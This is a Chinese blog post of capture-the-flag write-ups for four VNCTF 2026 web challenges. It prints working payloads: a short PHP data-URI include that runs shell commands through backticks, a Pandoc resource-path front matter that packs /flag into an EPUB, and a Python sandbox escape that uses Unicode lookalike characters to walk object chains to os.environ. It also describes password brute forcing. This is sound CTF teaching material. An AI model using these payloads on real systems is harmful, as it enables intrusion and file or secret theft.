跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客我的书AI学习GitHub 精选镜像AI 生图工具UI配色美学关于
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PythonAI

VNCTF 2026 Web 题解整理

本次整理了 VNCTF 2026 的几道 Web 题。Signin 通过短写 data 协议和 short_open_tag 绕过长度限制,最终用反引号执行 cat /flag;“渗透测试”是带加密参数的密码爆破,改用 Python 模拟输入并多机并行拿到口令;Markdown2world 利用 Pandoc 的 resource-path 和 EPUB 打包机制把 /flag 打进产物;I really really really 则是 Python 沙箱逃逸,借 Unicode 字符绕过过滤,沿对象链找到包含 os 的 globals,从环境变量里读出 flag。

深海蔚蓝发布于 2026/6/30更新于 2026/9/437 浏览

Signin

题目把可用字符卡得很死:过滤了 ['/', 'convert', 'base', 'text', 'plain'],而且 file 参数只有在长度不超过 20 时才会走包含逻辑。思路上没太多绕路空间,只能盯着 data 协议下手。

// 被禁掉以后,data: 还能用短写 data;, 过掉这层限制。配合 include 对上传内容的解析特性,可以直接把 payload 当成 PHP 代码执行:

?file=data:,<?phpinfo();?>

跑出 phpinfo 后能看到 short_open_tag=On,这就省了不少字数。原本打算直接上 <?=eval($_GET[x]);,但长度超了,只能换更短的写法。反引号其实就是 shell_exec() 的语法糖,这里能直接借来用:

?file=data:,<?=`${$_GET[x]}`;&x=cat /flag

题目不支持 POST,最后就靠这个 GET 参数把 /flag 读出来了。

文章配图

渗透测试

这题表面上是登录框,实际还是密码爆破。附件里给了两万条密码,Burp Suite 抓到包以后发现参数还做了加密,直接 Intruder 跑基本没戏,成本太高。

我这里换了个更笨但更稳的办法:自己写 Python 脚本模拟键盘输入,用户名固定为 admin,逐个试密码。多机并行之后很快拿到了结果:5V26s9dBZQVBZgyyVC00baeW。

文章配图

Markdown2world

上传别的后缀会被拒,提示只能传 .md 或 .markdown。题面又给了 Pandoc 相关配置,方向其实很明确:不是盯着文件后缀,而是看转换链里还能不能插东西。

一开始想到的是模板注入,直接试了:

---
template: /flag
---
xxxxxxxxx

结果被拦了,template 和 reference-doc 都过不去,PDF 路线也没法走。文件名注入这条路也试了,上传 <?phpinfo();?>.md 没起作用,文件名会被重写,靠这个做不了文章。

最后还是回到 Pandoc 的 EPUB 机制。它有 resource fetching,能按资源路径去抓内容。这里的思路不是'执行',更像是借它把敏感文件打包进产物里。多给几条候选路径,命中率会高一点:

---
resource-path: ["/", "/tmp", "/home/ctf", "."]
---
![flag](/flag)

下载后把文件改成 .zip 解压就能看到内容。flag 就在包里,不算优雅,但很实用。

文章配图

文章配图

原本还想顺手试试 docx 和 html 那边的洞,不过几组常见 payload 下来,没看到能直接拿下来的点。

I really really really

这题是 Python 沙箱逃逸。先做了一轮 fuzz,发现常见的 ' " [ ] { } __ ; 和数字 0-9 都被过滤了。hint 提到 unicode,这就得去找那些'长得不像普通字符'的替代写法。

先摸到两个关键点:单引号可以用 ʼ(U+02BC)顶掉;下划线 _ 本身没被封死。麻烦在于 __ 还得单独处理,试了不少组合,最后只有 _̲ 和 ﹎_ 这两种能过,其中 _̲ 会被系统自动识别成普通字符,比较省心。

文章配图

文章配图

接着是关键字问题。原来想用 ʼ claʼ +ʼss ʼ 之类的拆法绕过去,结果不稳定。后来看到题目的字体样式,改试数学花体字母 𝓬𝓵𝓪𝓼𝓼,反而一次就通了。

基础链路打通后,按常规思路去读 flag,结果回显是空的。排查了一圈,发现环境变量里也有 flag,路线就变了:不再执着于直接读文件,而是从对象链里把包含 os 的 globals 翻出来。

下面这段是先摸到 __globals__ 的思路,字符数也控制得比较紧:

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
    except:pass

再利用报错把结果带出来,错误信息会直接回显到页面里:

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
        e=g.get(k).environ
        r=e
    except:pass
assert ...!=...,r

回显里能看到环境变量内容,flag 就在里面。

文章配图

中途还想把 flag 落到同目录文件里,走 os.system('cat /flag>/tmp/a') 这一类思路,但 payload 太长,最后没法塞进题目限制里。这个方向不是完全不行,只是这题对长度卡得比较狠,做起来很别扭。

目录

  1. Signin
  2. 渗透测试
  3. Markdown2world
  4. I really really really

更多推荐文章

查看全部
  • 基于 Transformers.js 实现前端图片对象检测
  • Flutter 集成 React 风格库在鸿蒙系统的适配实践
  • 二分查找算法:x 的平方根与搜索插入位置
  • 基于 AI 大模型的青少年编程学习路径与实践
  • 新版 llama.cpp 使用及本地部署 LLaMA
  • 基于 Java 的消息队列选型:RabbitMQ、RocketMQ、Kafka 实战对比
  • Visual C++ 运行库缺失与损坏修复指南
  • C++ 异常机制深度解析:栈展开与控制流原理
  • KDD 2024 获奖名单公布:创新奖得主 Lise Getoor 及新星奖得主李骏东
  • 国产 AI 大模型实测:文心一言、通义千问、Kimi、豆包横向对比
  • AI 行业周新闻报告(截至 2026 年 3 月 21 日)
  • 二分查找算法实战:x 的平方根与搜索插入位置
  • NOFX:基于大模型的开源加密货币量化交易系统实战
  • 内网渗透基础
  • 基于指数预定义时间控制的固定翼无人机轨迹跟踪控制研究
  • STM32 中__weak 弱定义函数核心总结
  • 2026年3月13日AI热点:芯片大战、Agent爆发、安全争议
  • 二分查找算法:x 的平方根与搜索插入位置
  • Kubernetes 集群 CPU 使用率监控与告警设置方案
  • Fooocus 文生图工具快速入门与使用指南

相关免费在线工具

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • 随机西班牙地址生成器

    随机生成西班牙地址(支持马德里、加泰罗尼亚、安达卢西亚、瓦伦西亚筛选),支持数量快捷选择、显示全部与下载。 在线工具,随机西班牙地址生成器在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online